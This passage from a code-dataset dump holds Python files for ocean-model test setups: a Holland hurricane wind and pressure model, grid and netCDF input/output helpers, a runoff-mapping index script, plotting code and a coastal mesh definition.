"/testing_and_setup/compass/ocean/hurricane/hurricane_wind_pressure/structures/geogrid.py", "repo_name": "nairita87/Ocean_dir", "src_encoding": "UTF-8", "text": "import numpy as np\n\nclass GeoGrid:\n def __init__(self, lon: np.ndarray, lat: np.ndarray):\n \"\"\"\n Constructor.\n :param lon: longitude of the grid in radians, as numpy array\n :param lat: latitude of the grid in radians, as numpy array\n \"\"\"\n self.lon = lon\n self.lat = lat\n self.ncells = len(lon)\n\n\n\n\n # '''\n # A class that defines the structure, location, extent, and resolution of a geographic grid.\n # The grid is not the same as a geospatial raster, but is related in that, while a raster numbers vertical cells\n # starting from the top of the raster, the grid cells are numbered from the bottom. That is, a raster is oriented\n # like a raster of pixels, while the geographic grid is oriented like a regular Cartesian grid of cells. The\n # data in the grid is contained in a two-dimensional NumPy array. Because of this, the grid cell is indexed like\n # a Fortran array (column major indexing, i.e. i=column, j=row).\n # '''\n # def __init__(self, lon, lat, nlon, nlat, cellsize, defaultValue=0.0):\n # '''\n # Constructor.\n # :param lon: Lower-left longitude of the grid in decimal degrees.\n # :param lat: Lower-left latitude of the grid in decimal degrees.\n # :param nlon: The number of cells in longitude.\n # :param nlat: The number of cells in latitude.\n # :param cellsize: The size of a cell in the grid.\n # '''\n # self.lon = lon\n # self.lat = lat\n # self.nlon = nlon\n # self.nlat = nlat\n # self.cellsize = cellsize\n # self.defaultValue = defaultValue\n # self.grid = np.zeros([nlat,nlon],dtype=np.float64)\n # self.bounds = [self.lon, self.lon + self.nlon*self.cellsize,\n # self.lat, self.lat + self.nlat*self.cellsize]\n #\n #\n # def put(self,i,j,v):\n # if self.indexInside(i,j):\n # self.grid[self.nlat-j-1,i]=v\n #\n # def getByIndex(self,i,j):\n # if self.indexInside(i,j):\n # return self.grid[self.nlat-j-1,i]\n # else:\n # return self.defaultValue\n #\n # def getByCoordinate(self,lon,lat):\n # if self.coordinateInside(lon,lat):\n # index = self.getIndex(lon,lat)\n # return self.getByIndex(index[0],index[1])\n # else:\n # return self.defaultValue\n #\n # def clear(self):\n # self.grid.fill(0.0)\n #\n # def indexInside(self,i,j):\n # if i>=0 and i<self.nlon and j>=0 and j<self.nlat:\n # return True\n # else:\n # return False\n #\n # def coordinateInside(self,lon,lat):\n # if lon>=self.bounds[0] and lon<=self.bounds[1] and lat>=self.bounds[2] and lat<=self.bounds[3]:\n # return True\n # else:\n # return False\n #\n # def getOrigin(self):\n # return [self.lon,self.lat]\n #\n # def getCenter(self,i,j):\n # clon = self.lon + (i+0.5)*self.cellsize\n # clat = self.lat + (j+0.5)*self.cellsize\n # return [clon,clat]\n #\n # def getIndex(self,lon,lat):\n # i = int((lon-self.lon)/self.cellsize)\n # j = int((lat-self.lat)/self.cellsize)\n # return [i,j]\n #\n" }, { "alpha_fraction": 0.5982721447944641, "alphanum_fraction": 0.6069114208221436, "avg_line_length": 39.239131927490234, "blob_id": "d9747a2dd505b6b4c6f6e43d79ddc945ead7b579", "content_id": "4b9ba3e551cf33635f47416375366596158e8b1f", "detected_licenses": [ "LicenseRef-scancode-warranty-disclaimer", "BSD-2-Clause" ], "is_generated": false, "is_vendor": false, "language": "Python", "length_bytes": 1852, "license_type": "permissive", "max_line_length": 111, "num_lines": 46, "path": "/testing_and_setup/compass/ocean/hurricane/hurricane_wind_pressure/winds/velocities.py", "repo_name": "nairita87/Ocean_dir", "src_encoding": "UTF-8", "text": "import math\n\n\nclass Velocities:\n\n def __init__(self, vfe, vfn, vmax):\n \"\"\"\n Initialize with the forward velocity components.\n :param vfe: Eastward forward velocity (x-component in the Earth frame) in km/hr.\n :param vfn: Northward forward velocity component (y-component in the Earth frame) in km/hr.\n \"\"\"\n self.vf = []\n self.vfmagn = []\n self.xunitv = []\n self.yunitv = []\n\n self.set_vforward(vfe, vfn)\n self.vmax = vmax\n\n def set_vforward(self, vfe, vfn):\n self.vf = [vfe, vfn]\n self.vfmagn = math.sqrt(pow(vfe, 2) + pow(vfn, 2))\n self.xunitv = [vfn/self.vfmagn, -vfe/self.vfmagn]\n self.yunitv = [vfe/self.vfmagn, vfn/self.vfmagn]\n\n\n def compute_wind_vector(self, vg, xe, yn):\n \"\"\"\n Returns the velocity components [ve,vn] given the tangential gradient wind speed.\n :param vg: The tangential (theta) gradient wind speed in the hurricane frame in km/hr.\n :param xe: The eastern component of position relative to the local origin (the hurricane eye) in km.\n :param yn: The northern component of position relative to the local origin (the hurricane eye) in km.\n :return: [ve,vn] the eastward and nortward components of the wind velocity in the Earth frame in km/hr.\n \"\"\"\n rmagn = math.sqrt(xe*xe + yn*yn)\n\n costheta = (xe*self.xunitv[0] + yn*self.xunitv[1])/rmagn\n sintheta = -(xe*self.xunitv[1] - yn*self.xunitv[0])/rmagn\n theta_unitv = [-sintheta*self.xunitv[0]+costheta*self.yunitv[0],\n -sintheta*self.xunitv[1]+costheta*self.yunitv[1]]\n vgtheta = [theta_unitv[0]*vg, theta_unitv[1]*vg]\n vfcorr = vg/self.vmax\n ve = self.vf[0]*vfcorr + vgtheta[0]\n vn = self.vf[1]*vfcorr + vgtheta[1]\n\n return [ve, vn]\n\n" }, { "alpha_fraction": 0.516142725944519, "alphanum_fraction": 0.5288869738578796, "avg_line_length": 31.24657440185547, "blob_id": "8391bf590e32e8bdbcddb8ed7d20b756a3ed6d15", "content_id": "b9afede707146fad7398c12ec2cf0fba0c31eaae", "detected_licenses": [ "LicenseRef-scancode-warranty-disclaimer", "BSD-2-Clause" ], "is_generated": false, "is_vendor": false, "language": "Python", "length_bytes": 2354, "license_type": "permissive", "max_line_length": 97, "num_lines": 73, "path": "/testing_and_setup/compass/ocean/hurricane/hurricane_wind_pressure/profile_model/radialprofiles.py", "repo_name": "nairita87/Ocean_dir", "src_encoding": "UTF-8", "text": "import numpy as np\nimport math\n\nclass RadialProfile():\n\n def __init__(self,n,extent):\n self.profile = np.zeros(n,dtype=np.float64)\n self.rvals = np.zeros(n,dtype=np.float64)\n self.n = n\n self.extent = extent\n self.dr = extent/(n-1)\n for i in range(0,n):\n self.rvals[i] = i*self.dr\n\n def getValue(self,r):\n if r<0 or r>self.extent:\n return 0.0\n else:\n k = int(r/self.dr)\n return self.rvals[k]\n\nclass PressureProfile(RadialProfile):\n def __init__(self,n,extent,pcentral,deltap,rmax):\n super().__init__(n,extent)\n self.pcentral = pcentral\n self.deltap = deltap\n self.rmax = rmax\n\nclass HollandPressureProfile(PressureProfile):\n def __init__(self,n,extent,pcentral,deltap,rmax,b):\n super().__init__(n,extent,pcentral,deltap,rmax)\n self.b = b\n for i in range(0,self.n):\n r = self.rvals[i]\n if r>0:\n p = self.pcentral + self.deltap*math.exp(-pow(self.rmax/r,b))\n else:\n p = pcentral\n self.profile[i] = p\n\nclass WindSpeedProfile(RadialProfile):\n def __init__(self,n,extent,rmax):\n super().__init__(n,extent)\n self.rmax = rmax\n self.vmax = 0\n\n def getVmax(self):\n if self.vmax==0:\n for i in range(0,self.n):\n self.vmax = max(self.vmax,self.profile[i])\n return self.vmax\n\nclass HollandWindSpeedProfile(WindSpeedProfile):\n def __init__(self,n,extent,rmax,deltap,rho,f,b,coriolis=False):\n super().__init__(n,extent,rmax)\n self.units_factor = 100 # To convert the leading term to m/s\n # This factor comes from adopting millibars instead of Pascals, and km/hr instead of m/s.\n self.deltap = deltap\n self.rho = rho\n self.f = f\n self.b = b\n for i in range(0,self.n):\n r = self.rvals[i]\n if r>0:\n y = pow(rmax/r,b)\n exp_term = self.units_factor*(deltap/rho)*b*y*math.exp(-y)\n if coriolis == True:\n v = math.sqrt(exp_term + 0.25*pow(r,2)*pow(f,2))+0.5*r*f\n else:\n v = math.sqrt(exp_term)\n else:\n v = 0.0\n self.profile[i] = v * 3.6 # to convert to km/h\n" }, { "alpha_fraction": 0.5873591899871826, "alphanum_fraction": 0.599579930305481, "avg_line_length": 32.57051467895508, "blob_id": "0db3ff0c7417998716c7e73a87237e6678c09937", "content_id": "84af96b757483d95f27e3fcc52f585338910c0cf", "detected_licenses": [ "LicenseRef-scancode-warranty-disclaimer", "BSD-2-Clause" ], "is_generated": false, "is_vendor": false, "language": "Python", "length_bytes": 5237, "license_type": "permissive", "max_line_length": 120, "num_lines": 156, "path": "/testing_and_setup/compass/ocean/hurricane/hurricane_wind_pressure/winds_io/import_data.py", "repo_name": "nairita87/Ocean_dir", "src_encoding": "UTF-8", "text": "import json\nfrom netCDF4 import Dataset\nimport numpy as np\nimport math\nfrom hurricane_model import hurricane\nfrom structures import geogrid\nimport datetime\n\ndef read_grid_file(grid_filename: str, grid_flag: int) -> (float, float):\n if grid_flag == 1:\n xll, yll, cellsize, numcells_lat, numcells_lon = read_raster_inputs(grid_filename)\n lon, lat = setup_regular_grid(xll, yll, cellsize, numcells_lat, numcells_lon)\n else:\n lon, lat = read_netcdf(grid_filename)\n\n return lon, lat\n\ndef read_input_file(filename: str) -> (str, int, str, float, float):\n try:\n f = open(filename, \"r\")\n except FileNotFoundError as fnf_error:\n raise fnf_error\n\n traj_filename = f.readline().rstrip('\\n')\n grid_flag = f.readline().rstrip('\\n').split()\n grid_flag = int(grid_flag[0])\n grid_filename = f.readline().rstrip('\\n')\n ambient_pressure = f.readline().rstrip('\\n').split()\n ambient_pressure = float(ambient_pressure[0])\n holland_b_param = f.readline().rstrip('\\n').split()\n holland_b_param = float(holland_b_param[0])\n\n f.close()\n\n return traj_filename, grid_flag, grid_filename, ambient_pressure, holland_b_param\n\n\ndef setup_regular_grid(xll: float, yll: float, cellsize: float, numcells_lat: int, numcells_lon: int) -> (float, float):\n npoints = numcells_lat * numcells_lon\n lon = np.zeros((npoints, ))\n lat = np.zeros((npoints, ))\n k = 0\n for i in range(0, numcells_lon):\n for j in range(0, numcells_lat):\n lon[k] = xll + (float(i) + 0.5) * cellsize\n lat[k] = yll + (float(j) + 0.5) * cellsize\n k += 1\n\n lat = lat * math.pi / 180. # Convert to radians\n lon = lon * math.pi / 180. # Convert to radians\n\n return lon, lat\n\n\ndef read_raster_inputs(filename: str) -> (float, float, float, int, int):\n try:\n f = open(filename, \"r\")\n except FileNotFoundError as fnf_error:\n raise fnf_error\n\n # longitude of the south west corner in deg\n temp = f.readline().rstrip('\\n').split()\n xll = float(temp[0])\n # latitude of the south west corner in deg\n temp = f.readline().rstrip('\\n').split()\n yll = float(temp[0])\n # cell size in deg\n temp = f.readline().rstrip('\\n').split()\n cellsize = float(temp[0])\n # number of cells for latitude\n temp = f.readline().rstrip('\\n').split()\n numcells_lat = int(temp[0])\n # number of cells for longitude\n temp = f.readline().rstrip('\\n').split()\n numcells_lon = int(temp[0])\n\n f.close()\n\n return xll, yll, cellsize, numcells_lat, numcells_lon\n\n\ndef read_json(filename: str):\n try:\n with open(filename) as json_data:\n json_raw = json.load(json_data)\n return json_raw\n\n except FileNotFoundError as fnf_error:\n raise fnf_error\n\n\ndef read_netcdf(filename: str) -> (float, float):\n # http://unidata.github.io/netcdf4-python/#section1\n # lat and lon from the netCDF file are assumed in radians\n try:\n nc = Dataset(filename)\n temp_lat = nc.variables['latCell'][:]\n temp_lon = nc.variables['lonCell'][:]\n\n # Convert to numpy array for subsequent processing\n lat = np.array(temp_lat)\n lon = np.array(temp_lon) - 2. * math.pi\n for i in range(0, len(lon)):\n if lon[i] <= -math.pi:\n lon[i] += 2. * math.pi\n\n return lon, lat\n\n except FileNotFoundError as fnf_error:\n raise fnf_error\n\n\ndef initialize_hurricane(traj_filename: str, ambient_pressure: float, holland_b_param: float) -> list:\n # JSON Specs\n # \"timeUnits\": \"hours\",\n # \"distanceUnits\": \"miles\",\n # \"windspeedUnits\": \"knots\",\n # \"pressureUnits\": \"mb\",\n\n json_raw = read_json(traj_filename)\n\n ref_date = datetime.datetime.strptime(json_raw['initialTime'],'%Y-%m-%d_%H:%M:%S')\n\n curr_hurricane = []\n traj = json_raw['stormTrack']['features']\n\n for it in range(0, len(traj)):\n coord = traj[it]['geometry']['coordinates']\n center_coord = [x * math.pi / 180. for x in coord] # degree to rad\n extent = traj[it]['properties']['rMax'] * 1.60934 # miles to km\n pmin = traj[it]['properties']['minP'] # in mbar\n deltap = ambient_pressure - pmin # in mbar\n time = traj[it]['properties']['time'] # in hrs\n vmax = traj[it]['properties']['wMax'] * 1.852 # from knots to km/h\n\n curr_hurricane.append(hurricane.Hurricane(tuple(center_coord), extent, pmin, deltap, vmax,\n holland_b_param, time, ref_date))\n\n # Compute the components of the forward velocity\n for it in range(0, len(traj) - 1):\n x1 = curr_hurricane[it].center[0]\n y1 = curr_hurricane[it].center[1]\n\n x2 = curr_hurricane[it + 1].center[0]\n y2 = curr_hurricane[it + 1].center[1]\n\n theta = math.atan2(y2 - y1, x2 - x1)\n vf = traj[it]['properties']['vf'] * 1.852\n curr_hurricane[it].set_vf((vf * math.cos(theta), vf * math.sin(theta)))\n\n return curr_hurricane\n\n\ndef initialize_grid(grid_filename: str, grid_flag: int) -> geogrid.GeoGrid:\n lon, lat = read_grid_file(grid_filename, grid_flag)\n return geogrid.GeoGrid(lon, lat)\n" }, { "alpha_fraction": 0.4600760340690613, "alphanum_fraction": 0.4760456383228302, "avg_line_length": 33.605262756347656, "blob_id": "719f95c45bfe2c59b56be0b3f206055f1fb2e0ac", "content_id": "26c656091cbfdf9975868a0516b59509c8456bd7", "detected_licenses": [ "LicenseRef-scancode-warranty-disclaimer", "BSD-2-Clause" ], "is_generated": false, "is_vendor": false, "language": "Python", "length_bytes": 1315, "license_type": "permissive", "max_line_length": 98, "num_lines": 38, "path": "/testing_and_setup/compass/ocean/hurricane/scripts/write_forcing_file.py", "repo_name": "nairita87/Ocean_dir", "src_encoding": "UTF-8", "text": "# Author: Steven Brus\n# Date: April, 2020\n# Description: This function writes time-varying forcing data to an input file for the model run.\n\nimport os\nimport numpy as np\nimport netCDF4\n\n##################################################################################################\n##################################################################################################\n\ndef write_to_file(filename,data,var,xtime):\n\n if os.path.isfile(filename):\n data_nc = netCDF4.Dataset(filename,'a', format='NETCDF3_64BIT_OFFSET')\n else:\n data_nc = netCDF4.Dataset(filename,'w', format='NETCDF3_64BIT_OFFSET')\n\n # Find dimesions\n ncells = data.shape[1]\n nsnaps = data.shape[0]\n\n # Declare dimensions\n data_nc.createDimension('nCells',ncells)\n data_nc.createDimension('StrLen',64)\n data_nc.createDimension('Time',None)\n\n # Create time variable\n time = data_nc.createVariable('xtime','S1',('Time','StrLen'))\n time[:,:] = netCDF4.stringtochar(xtime)\n\n # Set variables\n data_var = data_nc.createVariable(var,np.float64,('Time','nCells'))\n data_var[:,:] = data[:,:]\n data_nc.close()\n\n##################################################################################################\n##################################################################################################\n" }, { "alpha_fraction": 0.6196969747543335, "alphanum_fraction": 0.6296969652175903, "avg_line_length": 36.5113639831543, "blob_id": "3d2a349eabe1938e6170de1d712829bac342ce54", "content_id": "4a876284d8bc882da7934a66b4573358f5fc2639", "detected_licenses": [ "LicenseRef-scancode-warranty-disclaimer", "BSD-2-Clause" ], "is_generated": false, "is_vendor": false, "language": "Python", "length_bytes": 3300, "license_type": "permissive", "max_line_length": 113, "num_lines": 88, "path": "/testing_and_setup/compass/ocean/hurricane/hurricane_wind_pressure/winds/wind_model.py", "repo_name": "nairita87/Ocean_dir", "src_encoding": "UTF-8", "text": "from enum import Enum\nimport numpy as np\nimport winds.parameters as Parameters\nimport hurricane_model as Hurricane\nimport structures as Geogrid\nimport matplotlib.pyplot as plt\nimport math\n\n\nclass PROFILE_TYPE(Enum):\n HOLLAND = 'holland'\n WILLOUGHBY = 'willoughby'\n\nclass WindModel:\n def __init__(self, params: Parameters, curr_hurricane: Hurricane, grid: Geogrid):\n self.profile_type = params.wind_profile_type\n if self.profile_type == PROFILE_TYPE.HOLLAND:\n\n # Distance between the hurricane eye and the grid points\n # Great circle distance in km\n r = np.power(np.sin((grid.lat - curr_hurricane.center[1]) * 0.5), 2) + \\\n np.cos(grid.lat) * np.cos(curr_hurricane.center[1]) * \\\n np.power(np.sin((grid.lon - curr_hurricane.center[0]) * 0.5), 2)\n r = 2.0 * params.earth_radius * np.arcsin(np.sqrt(r))\n\n # Compute pressure\n self.pressure_profile = holland_pressure_profile(curr_hurricane, r)\n\n # Compute wind speed\n self.wind_speed_profile = holland_windspeed_profile(params, curr_hurricane, r)\n\n # plt.scatter(grid.lon, grid.lat, s=10., c=self.wind_speed_profile, alpha=1.)\n # plt.show()\n\n # Compute wind components\n self.u, self.v = compute_components(self.wind_speed_profile, curr_hurricane, grid)\n\n else:\n raise 'Profile models other than Holland are not currently supported.'\n\n\ndef holland_pressure_profile(hurricane: Hurricane, r: np.ndarray):\n \"\"\"\n :param hurricane: class type Hurricane\n :param r: distance between the eye of the hurricane and the grid points in km\n \"\"\"\n return hurricane.pcentral + hurricane.deltap * np.exp(-np.power(hurricane.extent / r ,hurricane.b))\n\n\ndef holland_windspeed_profile(params: Parameters, hurricane: Hurricane, r: np.ndarray, coriolis=False):\n \"\"\"\n :param params: class parameters\n :param hurricane: class Hurricane\n :param r: distance between the eye of the hurricane and the grid points in km\n :param coriolis: coriolis factor in rad/hrs\n \"\"\"\n\n # Holland equation assumes:\n # deltap in Pa\n # density in kg/m3\n # and returns m/s\n units_factor = 100. # To convert the deltap from mbar to Pascals\n\n\n y = np.power(hurricane.extent / r, hurricane.b)\n exp_term = units_factor*(hurricane.deltap / params.rho) * hurricane.b * y * np.exp(-y)\n if coriolis is True:\n v = np.sqrt(exp_term + 0.25 * np.power(r * params.f, 2)) + 0.5 * r * params.f\n else:\n v = np.sqrt(exp_term)\n\n v *= 3.6 # Conversion from m/s to km/h\n\n return v\n\ndef compute_components(wind_speed_profile, curr_hurricane: Hurricane, grid: Geogrid) -> (np.ndarray, np.ndarray):\n # Compute components of vg\n theta = np.arctan2(grid.lat - curr_hurricane.center[1], grid.lon - curr_hurricane.center[0])\n theta += math.pi * 0.5\n vg_x = wind_speed_profile * np.cos(theta)\n vg_y = wind_speed_profile * np.sin(theta)\n\n # Compute total velocity\n ratio = wind_speed_profile / curr_hurricane.vmax\n u = vg_x + curr_hurricane.vforward[0] * ratio\n v = vg_y + curr_hurricane.vforward[1] * ratio\n\n return u, v" }, { "alpha_fraction": 0.6018111705780029, "alphanum_fraction": 0.6237651109695435, "avg_line_length": 37.76595687866211, "blob_id": "85dade67ddacdf3a4b9755596931312e3d105e34", "content_id": "18adbc544c71510e31480e7cb12b7e84c6de3ec7", "detected_licenses": [ "LicenseRef-scancode-warranty-disclaimer", "BSD-2-Clause" ], "is_generated": false, "is_vendor": false, "language": "Python", "length_bytes": 3644, "license_type": "permissive", "max_line_length": 130, "num_lines": 94, "path": "/testing_and_setup/compass/ocean/global_ocean/scripts/copy_cell_indices_ISC.py", "repo_name": "nairita87/Ocean_dir", "src_encoding": "UTF-8", "text": "#!/usr/bin/env python\n'''\nScript to map cell indices from MPASO noLI mesh to those of the wLI mesh in the runoff mapping file.\nStart by building a runoff mapping file that has all the mesh description from wLI mapping file\nbut the actual mapping from the noLI mapping file:\nncks -x -v S,col,row /project/projectdirs/acme/inputdata/cpl/cpl6/map_rx1_to_oEC60to30v3wLI_smoothed.r300e600.170328.nc newfile.nc\nncks -A -v S,col,row /project/projectdirs/acme/inputdata/cpl/cpl6/map_rx1_to_oEC60to30v3_smoothed.r300e600.161222.nc newfile.nc\n'''\n\n# import modules # {{{ \nimport netCDF4\nimport numpy as np\nimport argparse\nimport shutil\n# }}}\n\n# parser # {{{ \nparser = argparse.ArgumentParser()\nparser.add_argument('-i', '--input_file', dest='input_file',\n default='map_rx1_to_oEC60to30v3wLI.nc',\n help='Input file, original runoff mapping file'\n )\nparser.add_argument('-o', '--output_file', dest='output_file',\n default='map_rx1_to_oEC60to30v3wLI_final.nc',\n help='Output file, revised runoff mapping file with no runoff below ice shelf cavities'\n )\nparser.add_argument('-l', '--lookup_table_file', dest='lookup_table_file',\n default='lookup_table.txt',\n help='lookup table file, only used locally'\n )\nparser.add_argument('-w', '--mesh_with_ISC', dest='mesh_with_ISC',\n default='culled_mesh.nc',\n help='mesh file, including ice shelf cavities'\n )\nparser.add_argument('-n', '--mesh_no_ISC', dest='mesh_no_ISC',\n default='no_ISC_culled_mesh.nc',\n help='mesh file, but without ice shelf cavities'\n )\n\n\ninput_file = parser.parse_args().input_file\noutput_file = parser.parse_args().output_file\nlookup_table_file = parser.parse_args().lookup_table_file\nshutil.copy2(input_file, output_file)\n# }}}\n\nbuild_table = True\nif build_table:\n # noLI mesh\n mesh_no_ISC = netCDF4.Dataset(parser.parse_args().mesh_no_ISC, 'r')\n noLIxCell = mesh_no_ISC.variables['xCell'][:]\n noLIyCell = mesh_no_ISC.variables['yCell'][:]\n noLInCells = len(mesh_no_ISC.dimensions['nCells'])\n\n # wLI mesh\n mesh_with_ISC = netCDF4.Dataset(parser.parse_args().mesh_with_ISC, 'r')\n wLIxCell = mesh_with_ISC.variables['xCell'][:]\n wLIyCell = mesh_with_ISC.variables['yCell'][:]\n\n # init lookup table\n lookup = np.zeros((noLInCells,), dtype=np.uint32)\n\n print(\"nCells=\", noLInCells)\n for i in range(noLInCells):\n # for i in range(30):\n if i % 1000 == 0:\n print(\"Cell: \", i)\n # find index of wLI mesh that is the same location as each cell in the\n # noLI mesh\n lookup[i] = np.argmin((noLIxCell[i] - wLIxCell[:])\n ** 2 + (noLIyCell[i] - wLIyCell[:])**2)\n mesh_no_ISC.close()\n mesh_with_ISC.close()\n print( \"Lookup table complete.\")\n np.savetxt(lookup_table_file, lookup, fmt='%d')\n print(\"Saved to \", lookup_table_file)\nelse:\n lookup = np.loadtxt(lookup_table_file, dtype=np.uint32)\n print(\"Loaded lookup table from:\", lookup_table_file)\n\nprint(\"Lookup: first entries:\", lookup[0:10])\nprint(\"Lookup: last entries:\", lookup[-10:])\n\n# now swap in wLI indices into the runoff mapping file\nf = netCDF4.Dataset(output_file, \"r+\")\nrow = f.variables['row'][:]\nrownew = row * 0\nfor i in range(len(row)):\n rownew[i] = lookup[row[i] - 1] + 1 # 1-based\nf.variables['row'][:] = rownew[:]\nf.close()\nprint(\"Copied over indices.\")\n\n# vim: foldmethod=marker ai ts=4 sts=4 et sw=4 ft=python\n" }, { "alpha_fraction": 0.6222791075706482, "alphanum_fraction": 0.6747759580612183, "avg_line_length": 31.54166603088379, "blob_id": "73cbdfea1dc41ad91e941723d1ee20adcf04812a", "content_id": "9548d921b1db6f40b386fc43231569bedc50af04", "detected_licenses": [ "LicenseRef-scancode-warranty-disclaimer", "BSD-2-Clause" ], "is_generated": false, "is_vendor": false, "language": "Python", "length_bytes": 781, "license_type": "permissive", "max_line_length": 103, "num_lines": 24, "path": "/testing_and_setup/compass/ocean/hurricane/hurricane_wind_pressure/tests/winds/test_parameters.py", "repo_name": "nairita87/Ocean_dir", "src_encoding": "UTF-8", "text": "from winds.wind_model import PROFILE_TYPE\nfrom winds.parameters import Parameters\nimport math\n\ndef test_parameters():\n gridsize = [10, 10]\n nr = 100\n wind_profile_type = PROFILE_TYPE.HOLLAND\n grid_position = [-106.0,35.0]\n cellsize = 2.0\n siderealDay = 23.934 # A sidereal day in hrs.\n omega = 2.0 * math.pi / siderealDay # The Earth's rotation rate in rad/hr.\n rho = 1.225e9 # Air density at sea level in kg/m^3.\n distance_unit = 'kilometers'\n time_unit = 'hours'\n pressure_unit = 'millibars'\n # The Coriolis parameter should be 2*omega*sin(pi*|phi|/360), for phi in degrees latitude [-90,90].\n\n params = Parameters(gridsize,nr,wind_profile_type)\n\n\n\ndef eval_coriolis(lat,omega):\n return 2*omega * math.sin(math.pi*math.fabs(lat)/360)\n" }, { "alpha_fraction": 0.42307692766189575, "alphanum_fraction": 0.47419029474258423, "avg_line_length": 24.012659072875977, "blob_id": "ae26eeb7caff9e930d88ba0460b07326c653cd01", "content_id": "bbd2b5dff711799dffc39dcdfd537ab9c4cd1142", "detected_licenses": [ "LicenseRef-scancode-warranty-disclaimer", "BSD-2-Clause" ], "is_generated": false, "is_vendor": false, "language": "Python", "length_bytes": 1976, "license_type": "permissive", "max_line_length": 89, "num_lines": 79, "path": "/testing_and_setup/compass/ocean/baroclinic_channel/4km/rpe_test/plot.py", "repo_name": "nairita87/Ocean_dir", "src_encoding": "UTF-8", "text": "import numpy as np\nfrom netCDF4 import Dataset\nimport matplotlib.pyplot as plt\nimport matplotlib\nmatplotlib.use('Agg')\n\nfig = plt.gcf()\nnRow = 1 # 2\nnCol = 5\nnu = ['1', '5', '10', '100', '200']\niTime = [0]\ntime = ['20']\n\n# ---nx,ny for 10 km\n#nx = 16\n#ny = 50\n\n# ---nx,ny for 4 km\nnx = 40\nny = 126\n\n# ---nx,ny for 1 km\n#nx = 160\n#ny = 500\n\nfig, axs = plt.subplots(nRow, nCol, figsize=(\n 2.1 * nCol, 5.0 * nRow), constrained_layout=True)\n\nfor iCol in range(nCol):\n for iRow in range(nRow):\n ncfile = Dataset('output_' + str(iCol + 1) + '.nc', 'r')\n var = ncfile.variables['temperature']\n var1 = np.reshape(var[iTime[iRow], :, 0], [ny, nx])\n # --- flip in y-dir\n var = np.flipud(var1)\n\n # --- Every other row in y needs to average two neighbors in x on planar hex mesh\n var_avg = var\n for j in range(0, ny, 2):\n for i in range(0, nx - 2):\n var_avg[j, i] = (var[j, i + 1] + var[j, i]) / 2.0\n\n if nRow == 1:\n ax = axs[iCol]\n if nRow > 1:\n ax = axs[iRow, iCol]\n dis = ax.imshow(\n var_avg,\n extent=[\n 0,\n 160,\n 0,\n 500],\n cmap='jet',\n vmin=11.8,\n vmax=13.0)\n ax.set_title(\"day \" + time[iRow] + \", \" + r\"$\\nu_h=$\" + nu[iCol])\n ax.set_xticks(np.arange(0, 161, step=40))\n ax.set_yticks(np.arange(0, 501, step=50))\n\n if iRow == nRow - 1:\n ax.set_xlabel('x, km')\n if iCol == 0:\n ax.set_ylabel('y, km')\n if iCol == nCol - 1:\n if nRow == 1:\n fig.colorbar(dis, ax=axs[nCol - 1], aspect=40)\n if nRow > 1:\n fig.colorbar(dis, ax=axs[iRow, nCol - 1], aspect=40)\n ncfile.close()\n\nif nx == 16:\n res = '10'\nif nx == 40:\n res = '4'\nif nx == 160:\n res = '1'\n\nplt.savefig(\"sections_baroclinic_channel_\" + res + \"km.png\")\n" }, { "alpha_fraction": 0.5714285969734192, "alphanum_fraction": 0.636904776096344, "avg_line_length": 29.947368621826172, "blob_id": "eb295af358d5b91e49b70e67bb333ccb06c48281", "content_id": "e10e343db76e87ab2a4944a2b9bae6d95b3c3094", "detected_licenses": [ "LicenseRef-scancode-warranty-disclaimer", "BSD-2-Clause" ], "is_generated": false, "is_vendor": false, "language": "Python", "length_bytes": 1176, "license_type": "permissive", "max_line_length": 101, "num_lines": 38, "path": "/testing_and_setup/compass/ocean/global_ocean/CA120to3/build_mesh/define_base_mesh.py", "repo_name": "nairita87/Ocean_dir", "src_encoding": "UTF-8", "text": "#!/usr/bin/env python\n'''\nname: define_base_mesh\nauthors: Phillip J. Wolfram\n\nThis function specifies the resolution for a coastal refined mesh for the CA coast from SF to LA for \nChris Jeffrey and Mark Galassi.\nIt contains the following resolution resgions:\n 1) a QU 120km global background resolution\n 2) 3km refinement region along the CA coast from SF to LA, with 30km transition region\n\n'''\nimport numpy as np\nimport jigsaw_to_MPAS.coastal_tools as ct\n\n\ndef cellWidthVsLatLon():\n km = 1000.0\n\n params = ct.default_params\n\n SFtoLA = {\"include\": [np.array([-124.0, -117.5, 34.2, 38.0])], # SF to LA\n \"exclude\": [np.array([-122.1, -120.8, 37.7, 39.2])]} # SF Bay Delta\n\n WestCoast = np.array([-136.0, -102.0, 22.0, 51])\n\n print(\"****QU120 background mesh and 300m refinement from SF to LA****\")\n params[\"mesh_type\"] = \"QU\"\n params[\"dx_max_global\"] = 120.0 * km\n params[\"region_box\"] = SFtoLA\n params[\"plot_box\"] = WestCoast\n params[\"dx_min_coastal\"] = 3.0 * km\n params[\"trans_width\"] = 100.0 * km\n params[\"trans_start\"] = 30.0 * km\n\n cell_width, lon, lat = ct.coastal_refined_mesh(params)\n\n return cell_width / 1000, lon, lat\n" }, { "alpha_fraction": 0.6160458326339722, "alphanum_fraction": 0.6353868246078491, "avg_line_length": 33.04878234863281, "blob_id": "fd3fb1f24719b674b8f4d9f24680d9f010272320", "content_id": "f65f0dce7839c7253f3752f468789cdc224d0523", "detected_licenses": [ "LicenseRef-scancode-warranty-disclaimer", "BSD-2-Clause" ], "is_generated": false, "is_vendor": false, "language": "Python", "length_bytes": 1396, "license_type": "permissive", "max_line_length": 114, "num_lines": 41, "path": "/testing_and_setup/compass/ocean/hurricane/hurricane_wind_pressure/winds/parameters.py", "repo_name": "nairita87/Ocean_dir", "src_encoding": "UTF-8", "text": "import math\nfrom winds.wind_model import PROFILE_TYPE\n\nclass Parameters:\n def __init__(self, mean_lat: float, wind_profile_type=PROFILE_TYPE.HOLLAND):\n \"\"\"\n Constructor.\n :param mean_lat: mean latitude of the hurricane trajectory to compute the Coroilis factor in radians\n Units are km, hr, and millibars for distance, wind, and pressure respectively, and lat in decimal degrees.\n \"\"\"\n self.siderealDay = 23.934 # A sidereal day in hrs.\n self.omega = 2.0 * math.pi / self.siderealDay # The Earth's rotation rate in rad/hr.\n\n self.rho = 1.15 # Air density at sea level in kg/m^3.\n self.wind_profile_type = wind_profile_type # The particular wind profile model being used.\n\n # Earth radius in km\n self.earth_radius = 6371.1\n\n\n def get_coriolis(self, lat: float) -> float:\n \"\"\"\n Returns the Coriolis parameter for a given latitude.\n :param lat: in radians\n :return: coriolis factor in rad/s to be consistent with Holland's model units\n \"\"\"\n # The Coriolis parameter = 2*omega*sin(|phi|)\n # 3600 to convert omega in rad/s\n return 2.0 * self.omega / 3600. * math.sin(math.fabs(lat))\n\n\n def get_pressure_unit(self):\n return 